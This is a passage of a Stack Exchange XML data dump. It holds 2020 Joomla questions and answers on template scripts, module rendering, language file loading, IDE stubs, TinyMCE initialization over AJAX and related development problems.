14px;\&amp;quot;&amp;gt;{$value}&amp;lt;/h1&amp;gt;&amp;quot;;&#xA;}&#xA;?&amp;gt;    &#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I did not review the other parts of your code, I only spot this relevant approaching problem in your code regarding getting the user ID from the correct place (from the URL). I hope that I did not misunderstand you issue and this will give you the expected result and the addition will appear in your article where it is needed even if the visitor is not logged in.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;FEW ADDITIONAL NOTES ON THE ORIGINAL CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I just wanted to include few review notes on the original code based on @mickmackusa very helpful comments (He improved these parts of the original code):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;values in the &lt;code&gt;query&lt;/code&gt; always should be secured by using &lt;code&gt;quote($value)&lt;/code&gt; due to security reasons.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since the &lt;code&gt;user_id&lt;/code&gt; is already defined from the URL thus we do not need to select that from the database. Selecting &lt;code&gt;nombre_establecimiento&lt;/code&gt; value looks enough in this case.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Creating a new variable for the query result as &lt;code&gt;$result&lt;/code&gt; is an unnecessary variable declaration (single-use variable) -- instead feed &lt;code&gt;$db-&amp;gt;loadAssocList()&lt;/code&gt; directly into the loop.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I do not see the point of using &lt;code&gt;loadAssocList()&lt;/code&gt; since it looks like that we will get a single value from the table. Maybe the OP has another purpose of using that... @mickmackusa already improved that part of the code too using &lt;code&gt;$db-&amp;gt;loadColumn()&lt;/code&gt;, thanks for that!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-10-30T08:42:33.153" LastActivityDate="2020-10-30T08:42:33.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28615" PostTypeId="1" AcceptedAnswerId="28617" CreationDate="2020-10-30T11:49:05.233" Score="2" ViewCount="2206" Body="&lt;p&gt;I am writing some custom javascript in Joomla 4 Beta 6 to control various aspects of my custom front-end template's menus. It needs to load after the page has been rendered, so I want to add it at the bottom of the template's index.php file.&lt;/p&gt;&#xA;&lt;p&gt;If I add the script in full it works fine.&#xA;If I add the code to /js/user.js and then add the full URL link to the file - as if it was an external file - in the bottom of the index.php file, it also works, fine, e.g:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&amp;quot;https://my.website.com/templates/my_template/js/user.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, I'd rather not have the full link visible, but if I try to add it via a local reference (using both double and single quotes), it doesn't work, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&amp;quot;/js/user.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have also tried adding a php instruction like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $doc = JFactory::getDocument(); $doc-&amp;gt;addScript('templates/'. $this-&amp;gt;template . '/js/user.js'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which works for the template.js at the top of the file, but it doesn't work in this position at the bottom, either.&lt;/p&gt;&#xA;&lt;p&gt;What am I doing wrong? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2022-03-17T08:10:53.900" Title="How can I add a local custom javascript file into the bottom of the template's index.php file?" Tags="|templates|javascript|custom-action|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28616" PostTypeId="2" ParentId="28604" CreationDate="2020-10-30T12:15:40.790" Score="2" Body="&lt;p&gt;I do not want to give any custom solution here since it looks like that this feature is already given by a third party plugin.&lt;/p&gt;&#xA;&lt;p&gt;You should try this plugin: &lt;a href=&quot;https://extensions.joomla.org/extension/system-redirect-on-backend-login/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/system-redirect-on-backend-login/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;According to the few lines of documentation&lt;/strong&gt; of the plugin it does exactly what you need. Even more, since you can set specific user group to be redirected to a component (set by you) after admin login. I did not try that but it looks like it is a newer plugin, actually 5 months old at the moment. And I just downloaded it to looking into it - it is free - and it is a nice, simple system plugin with actually 15 lines of code which checks the &lt;strong&gt;user&lt;/strong&gt; and the &lt;strong&gt;usergroup&lt;/strong&gt; and if the user group is set by you to redirect then it calls the Router to redirect to the given component.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The plugin code could be a bit improved&lt;/strong&gt;, cleaned here and there, as I see it was made in a hurry by a PHP programmer who has about a strong medium level understanding of Joomla back-end programming (which is a good level considering the complexity of Joomla today). It is quite useful and looks like a working code base for this admin redirect. Nice and neat solution for this simple job. You can later improve this plugin for yourself a bit if you would like to...&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-10-30T12:22:50.233" LastActivityDate="2020-10-30T12:22:50.233" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28617" PostTypeId="2" ParentId="28615" CreationDate="2020-10-30T14:39:51.770" Score="4" Body="&lt;p&gt;Unfortunately Casseopeia (default Joomla 4 frontend template) uses the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;scripts&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;inside the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tags at the top of the DOM, so any script added via &lt;code&gt;$doc-&amp;gt;addScript()&lt;/code&gt;, &lt;code&gt;HTMLHelper::script()&lt;/code&gt; or &lt;code&gt;WebAssetManager&lt;/code&gt; will be added up there.&lt;/p&gt;&#xA;&lt;p&gt;That said, loading the file at the top doesn't really matter. You can simply defer the load and use the correct event listener, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;HTMLHelper::_('script', 'user.js', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true], ['type' =&amp;gt; 'module']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note the &lt;code&gt;'type' =&amp;gt; 'module'&lt;/code&gt;. This does &lt;strong&gt;NOT&lt;/strong&gt; mean a Joomla module. It means a Javascript module which is deferred automatically.&lt;/p&gt;&#xA;&lt;p&gt;Inside your &lt;code&gt;user.js&lt;/code&gt;, you can then execute your code once the DOM has loaded:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', () =&amp;gt; {&#xA;  // Your code here&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or once the entire page has loaded&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.addEventListener('load', () =&amp;gt; {&#xA;  // Your code here&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-10-31T12:00:25.657" LastActivityDate="2020-10-31T12:00:25.657" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28621" PostTypeId="1" CreationDate="2020-10-31T19:15:01.760" Score="1" ViewCount="51" Body="&lt;p&gt;I am trying to upgrade Joomla 2.5.28 to Joomla 3.x using the steps described here: &lt;a href=&quot;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I backed up the original website using Akeeba and resotred it into a sub-domain. All steps up till 6 seem to go through.  Step 6 asks for changing the 'Update Server' under 'Options'.  I am unable to do so.  I select 'Short Term Support' from the drop-down menu, and click on 'Save'.  I get a 'Configuration Successfully Saved' blue message but the value in front of 'Update Server' is reverted back to 'Long Term Suport'.&lt;/p&gt;&#xA;&lt;p&gt;Anyone had a similar issue (and hopefully a solution)?&lt;/p&gt;&#xA;&lt;p&gt;I tried to disable caching (as suggested on some forums) but it seems I am even not able to do so: under Site -&amp;gt; Global Configuration -&amp;gt; System I see 'Cache' is set to 'ON - Progressive Caching', I change it to 'OFF - Caching Disabled' and click on 'Save &amp;amp; Close'.  But I get no reaction (and the setting is still 'ON' even if I log out and log back in).&lt;/p&gt;&#xA;" OwnerUserId="14607" LastActivityDate="2020-10-31T19:15:01.760" Title="Unable to change 'Joomla Update' options for upgrading Joomla 2.5 to 3.x" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28622" PostTypeId="1" CreationDate="2020-11-02T10:01:09.617" Score="2" ViewCount="154" Body="&lt;p&gt;i tried this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php// Render modules inside this article override&#xA;$doc = JFactory::getDocument();&#xA;$renderer = $doc-&amp;gt;loadRenderer(&amp;quot;modules&amp;quot;);&#xA;$raw = array(“style” =&amp;gt; &amp;quot;standard&amp;quot;);&#xA;?&amp;gt;&#xA;// Echo the module somewhere in the template&#xA;&amp;lt;?php echo $renderer-&amp;gt;render(&amp;quot;tags-similaires&amp;quot;, $raw, null); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$renderer = JFactory::getDocument()-&amp;gt;loadRenderer('module');&#xA;$modules = JModuleHelper::getModuleById('160');&#xA;$params = array('style' =&amp;gt; 'xhtml');&#xA;echo $renderer-&amp;gt;render($modules, $params, '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in this case I have the error message&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to a member function get() on array&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;do you have an idea ? Would this work with joomla4?&lt;/p&gt;&#xA;" OwnerUserId="14630" LastActivityDate="2020-11-02T11:39:40.207" Title="Launch a module in an article override" Tags="|joomla-3.x|template-override|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28624" PostTypeId="2" ParentId="28622" CreationDate="2020-11-02T11:39:40.207" Score="3" Body="&lt;p&gt;The &lt;code&gt;$params&lt;/code&gt; variable probably already exists in the override. Try using a different name...such as &lt;code&gt;$moduleParams = array('style' =&amp;gt; 'xhtml')&lt;/code&gt;;&lt;/p&gt;&#xA;&lt;p&gt;Alsi, note that the title most likely isn't appearing because either:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The module title needs to be shown in the module options&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;style&lt;/code&gt; value being used isn't correct.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The style relates to the mod_Chrome used by the template, which defines styles/layouts for modules.&lt;/p&gt;&#xA;&lt;p&gt;You're currently using &lt;code&gt;'style' =&amp;gt; 'xhtml'&lt;/code&gt;, so I assume the &lt;code&gt;xhtml&lt;/code&gt; mod_Chrome doesn't exist.&lt;/p&gt;&#xA;&lt;p&gt;If you're using the default Joomla 4 Cassiopeia template, try:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$moduleParams = array('style' =&amp;gt; 'card');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Else you will need to look in &lt;code&gt;templates\YOUR_TEMPLATE\html\layouts\chromes&lt;/code&gt; to see what's available.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-11-02T11:39:40.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28625" PostTypeId="1" AcceptedAnswerId="28626" CreationDate="2020-11-02T21:33:31.153" Score="0" ViewCount="105" Body="&lt;p&gt;I'am wondering how to get into Joomla! component the subfolder from the current URL.&lt;/p&gt;&#xA;&lt;p&gt;Is-there a way to achieve this ?&lt;/p&gt;&#xA;&lt;p&gt;Thnaks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2020-11-03T09:23:00.273" Title="Get the subfolder from current url" Tags="|joomla-3.9|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28626" PostTypeId="2" ParentId="28625" CreationDate="2020-11-03T09:23:00.273" Score="1" Body="&lt;p&gt;Use &lt;code&gt;Joomla\CMS\Uri\Uri::root(true)&lt;/code&gt;. Note it returns the path with leading slash. E.g. if site address is &lt;code&gt;https://example.com/joomla/testing/&lt;/code&gt;, this returns &lt;code&gt;/joomla/testing&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-11-03T09:23:00.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28627" PostTypeId="2" ParentId="28448" CreationDate="2020-11-03T10:57:22.443" Score="5" Body="&lt;p&gt;I was not able to duplicate your issue. I used the Joomla core &lt;strong&gt;Beez3 template&lt;/strong&gt; to test this, where the template by default has the language files in main (Joomla root) Language folder and at the same time it has the same language files &lt;strong&gt;in the template language folder&lt;/strong&gt; too.&lt;/p&gt;&#xA;&lt;p&gt;Now, when a Joomla page is loaded then usually the last call is when the &lt;strong&gt;HtmlView&lt;/strong&gt; loads the particular template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HtmlView-&amp;gt;loadTemplate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Within this function the language files are loaded also (considering all of the possible/defined language paths of your Joomla application) and this call loads the languages (it is already a very sophisticated system in Joomla, I mean the process that this call pulls in):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load the language file for the template&#xA;$lang = \JFactory::getLanguage();&#xA;$lang-&amp;gt;load('tpl_' . $template, JPATH_BASE, null, false, true)&#xA;    || $lang-&amp;gt;load('tpl_' . $template, JPATH_THEMES . &amp;quot;/$template&amp;quot;, null, false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the above call you can see that the &lt;code&gt;load()&lt;/code&gt; method tries to load the language from the main Language folder of Joomla, then from the template's language folder. It also gets obvious from the above two lines that Languages belongs to the main language folder first of all, then the extensions folder. So it looks safe to keep languages in the main language folder. But it is not a must (Joomla has great language debug system too if something goes wrong).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So what was my test to checking your issue?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is simple: I renamed the &lt;strong&gt;beez3&lt;/strong&gt; English language files in the main language folder and changed one English language string in the English language file of beez3 template in the template's language folder. And when I loaded the page again the text constant (language constant) value was changed reflected on the page too. It means simply that the English language file was read from the language sub-folder of the template. but when I renamed back the language file in the main language folder then the text was set back on the page automatically.&lt;/p&gt;&#xA;&lt;p&gt;To test this a little more (as an extra mile), I dumped the application global language object&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Factory;&#xA;&#xA;$app = Factory::getApplication();&#xA;$lang = $app-&amp;gt;getLanguage();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and checked the file paths of possible language files. At the case when I renamed the main language file of Beez3, a new path appeared in the language object's &lt;code&gt;paths&lt;/code&gt; array; and yes you bet, it was the language path to the beez3 template language folder and English language file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;On the last part of your post about language fallback to English language strings&lt;/strong&gt;, yes I can confirm that, but the same as above. If the Language object can find English language files for your template in the main language folder, then it will use that first, if not it will load the template language file and fall back to that.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;About this function even the documents have some good info:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Another cool trick you can do is** to load arbitrary front-end and&#xA;back-end language files of any component and language. For example,&#xA;you may want to load the English language file and mix it with the&#xA;user's current language. This means that untranslated strings will&#xA;appear in English and not as untranslated keys. You can use something&#xA;like this for the back-end language files:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_yourcomponentname', JPATH_ADMINISTRATOR, 'en-GB', true);&#xA;$language-&amp;gt;load('com_yourcomponentname', JPATH_ADMINISTRATOR, null, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And to load the front-end language files, using the same trick:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_yourcomponentname', JPATH_SITE, 'en-GB', true);&#xA;$language-&amp;gt;load('com_yourcomponentname', JPATH_SITE, null, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;source:&lt;/strong&gt; &lt;a href=&quot;https://docs.joomla.org/Specification_of_language_files&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Specification_of_language_files&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And last but not least, you can also use a helpful &lt;strong&gt;Language class&lt;/strong&gt; function to check whether there is a problematic language file in your system:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$langError = $lang-&amp;gt;getErrorFiles();&#xA;var_dump($langError);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I want to answer your main issue, there is something you have to find with your language files if it is not working, as it is given above (I do not have a clue from here why your language file is not read but I am sure it is a very small mistake somewhere)). Even though the language of your site is set to Italian, &lt;code&gt;it-IT&lt;/code&gt; for example, the English language files are always loaded in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2020-11-03T10:57:22.443" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28628" PostTypeId="1" CreationDate="2020-11-03T12:25:05.313" Score="2" ViewCount="583" Body="&lt;p&gt;I'd like to develop Joomla components with VS Code.&#xA;With &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=bmewburn.vscode-intelephense-client&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Intelephense&lt;/a&gt; enabled, all my file show errors because I use Joomla classes and functions. (And it would also be convenient to have auto complete for Joomla functions)&lt;/p&gt;&#xA;&lt;p&gt;To solve the same problem with WordPress, one can just add &lt;code&gt;wordpress&lt;/code&gt; to the &lt;code&gt;intelephense.stubs&lt;/code&gt; array in the settings. Unfortunately there are no stubs for Joomla, but it is possible to add your own stub files.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to generate a stubs file for Joomla, or does it already exist and can be downloaded?&lt;/p&gt;&#xA;&lt;h2&gt;Additional remark&lt;/h2&gt;&#xA;&lt;p&gt;I develop the extension in a separate directory, so I have all of the files in one place and the editor and git is not cluttered with the Joomla files. Therefore the editor doesn't see the Joomla classes and functions.&#xA;The setting &lt;code&gt;intelephense.environment.includePaths&lt;/code&gt; seems to be a solution for this issue.&lt;br /&gt;&#xA;But I'm still wondering if there is a way to do via the stubs approach (the way it's solved for WordPress), so I don't have to add the &lt;code&gt;includePaths&lt;/code&gt; for every project.&lt;/p&gt;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;Running &lt;code&gt;build/stubGenerator.php&lt;/code&gt; script results in this error (on Linux)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Error: Failed to start application: Class Joomla\CMS\Filesystem\Support\StringController does not exist% &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I change the file name of &lt;code&gt;./joomla-cms-staging/libraries/src/Filesystem/Support/Stringcontroller.php&lt;/code&gt; to &lt;code&gt;StringController.php&lt;/code&gt;, the script finishes without an error. But the generated file (&lt;code&gt;stubs.php&lt;/code&gt;) doesn't appear to be complete (at least to me). Every entry looks like this (total of 1877 lines):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @deprecated 5.0 Use Joomla\... instead.&#xA; */&#xA;class ... extends Joomla\... {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11618" LastEditorUserId="11618" LastEditDate="2020-11-05T09:12:01.337" LastActivityDate="2021-10-05T17:21:43.743" Title="How can I generate a stubs file for Joomla?" Tags="|php|development|development-tool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28629" PostTypeId="2" ParentId="28628" CreationDate="2020-11-03T12:41:54.653" Score="1" Body="&lt;p&gt;When running Joomla from git clone you can use &lt;code&gt;build/stubGenerator.php&lt;/code&gt; script. It will generate &lt;code&gt;stubs.php&lt;/code&gt; file in Joomla's root directory.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-11-03T12:41:54.653" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28631" PostTypeId="1" CreationDate="2020-11-05T13:19:56.400" Score="1" ViewCount="848" Body="&lt;p&gt;I've built a form that calls for an editor to be loaded through AJAX, but when I insert the fetched contents I get only a &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;. If I hit the toggle editor button, then the editor gets built, but it uses the default configuration for TinyMCE instead of how Joomla tries to configure it.&lt;/p&gt;&#xA;&lt;p&gt;My Javascript:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    method:'GET',&#xA;    url:'fetchEditor.php'&#xA;}).done(function(response) {&#xA;    $('#main').append(response);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;fetchEditor.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$editor = JFactory::getEditor('tinymce');&#xA;echo $editor-&amp;gt;display('text', '', 'auto', 'auto', 55, 15, false);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried throwing in some Javascript to re-init TinyMCE for this editor, but it also just uses the default configuration instead of what Joomla uses.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2020-11-06T14:15:36.857" Title="TinyMCE editor loaded through AJAX not working" Tags="|javascript|ajax|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28632" PostTypeId="1" CreationDate="2020-11-06T01:51:09.343" Score="1" ViewCount="84" Body="&lt;p&gt;So far I made the follow changes looking for add tags functionality to my extension:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Register a Content type&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/D3BRZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D3BRZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Add Observer methods to the extension table class&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class TagimagesTableTagimages extends JTable&#xA;{&#xA;    public function __construct(&amp;amp;$db)&#xA;    {&#xA;        parent::__construct('#__tagimages', 'cartId', $db);&#xA;        JTableObserverTags::createObserver($this, array('typeAlias' =&amp;gt; 'com_tagimages.tagimageform'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Add Tag fields to the form&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;      name=&amp;quot;tags&amp;quot; &#xA;      type=&amp;quot;tag&amp;quot; &#xA;      label=&amp;quot;Tag the image&amp;quot; &#xA;      mode=&amp;quot;ajax&amp;quot; &#xA;      class=&amp;quot;inputbox span12 small&amp;quot; &#xA;      multiple=&amp;quot;true&amp;quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With all this done, when I trigger the function &lt;strong&gt;Save&lt;/strong&gt; of my Model class who extends of &lt;code&gt;JModelAdmin&lt;/code&gt; class, all run okay, the values of the form I saving, they are saved in the data base table, but there is not a new record in the &lt;code&gt;#__contentitem_tag_map&lt;/code&gt; and &lt;code&gt;#__ucm_content&lt;/code&gt; mapping the tag with the content I saved. Not error is trigged.&lt;/p&gt;&#xA;&lt;p&gt;Anyone know what I miss?&lt;/p&gt;&#xA;&lt;p&gt;I already check a bit of docs like &lt;a href=&quot;https://docs.joomla.org/J3.x:Using_Tags_in_an_Extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Using_Tags_in_an_Extension&lt;/a&gt; but do not tell me nothing about what I doing wrong.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastEditorUserId="8256" LastEditDate="2020-11-06T22:40:33.257" LastActivityDate="2020-11-06T22:40:33.257" Title="Using Tags in an Extension" Tags="|joomla-3.x|extensions|tags|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28633" PostTypeId="1" CreationDate="2020-11-06T09:31:37.867" Score="1" ViewCount="40" Body="&lt;p&gt;I have a weird and unfortunate situation. I use a certain component which the creator of it retires due to stage four cancer. This means that I cannot download the component anymore, but I do have the component running on another installation. Now I am trying to copy this to another installation, but I cannot seem to make it work.&lt;/p&gt;&#xA;&lt;p&gt;I tried getting the component, zipping it and install it. That doesn't work because there is no XML file. I checked and that is indeed the case, the XML file is renamed to .txt and the content is empty. I tried the discover method, but that is also not working. I believe the XML file is crucial to the installation. But unfortunately that file is empty.&lt;/p&gt;&#xA;&lt;p&gt;Is there some way to get the contents of the XML file from an active installation? Is there some other way of installation I didn't try yet?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2020-11-06T09:55:28.440" Title="Install component via FTP, copy component from one installation to another" Tags="|joomla-3.x|component|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28634" PostTypeId="2" ParentId="28633" CreationDate="2020-11-06T09:55:28.440" Score="1" Body="&lt;p&gt;I found the solution. In the administrator folder component was the component saved. There was te install.xml file. I checked the file and made the structure described there, after that I could install. I hope this is of value for someone else.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2020-11-06T09:55:28.440" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28635" PostTypeId="2" ParentId="28631" CreationDate="2020-11-06T14:15:36.857" Score="2" Body="&lt;p&gt;After spending more time searching for possibilities, I found that Joomla includes the file &lt;code&gt;/media/editors/tinymce/js/tinymce.min.js&lt;/code&gt;, and upon opening the uncompressed version of the file and reading through it, I saw that it has the function &lt;code&gt;Joomla.JoomlaTinyMCE.setupEditors();&lt;/code&gt; which handles the initialization of all instances of TinyMCE on the page.&lt;/p&gt;&#xA;&lt;p&gt;So, after the AJAX loads the new editor, recalling &lt;code&gt;Joomla.JoomlaTinyMCE.setupEditors();&lt;/code&gt; will handle everything.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2020-11-06T14:15:36.857" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28636" PostTypeId="1" CreationDate="2020-11-10T09:33:12.867" Score="1" ViewCount="78" Body="&lt;p&gt;I have a Joomla site using K2. If I open my site in a browser (&lt;a href=&quot;https://www.niederlausitz-aktuell.de&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.niederlausitz-aktuell.de&lt;/a&gt;), everything loads as intended, but in my client-side console I get the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Failed to load resource: the server responded with a status of 403 ()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Does anyone know where this can come from?&lt;/p&gt;&#xA;&lt;p&gt;This error only occurs on the mainpage; no other page generates this error. The error line is line 1, but line 1 is empty.&lt;/p&gt;&#xA;&lt;p&gt;p.s. On my localhost with XAMPP, I get the same error with better detail:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;GET http://localhost/niederlausitz-aktuell/httpdocs/index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;Itemid=469 403 (Forbidden)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14641" LastEditorUserId="12352" LastEditDate="2020-11-10T10:51:06.897" LastActivityDate="2020-11-10T10:51:06.897" Title="Homepage gives me a 403 resource error but still loads" Tags="|php|k2|apache|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
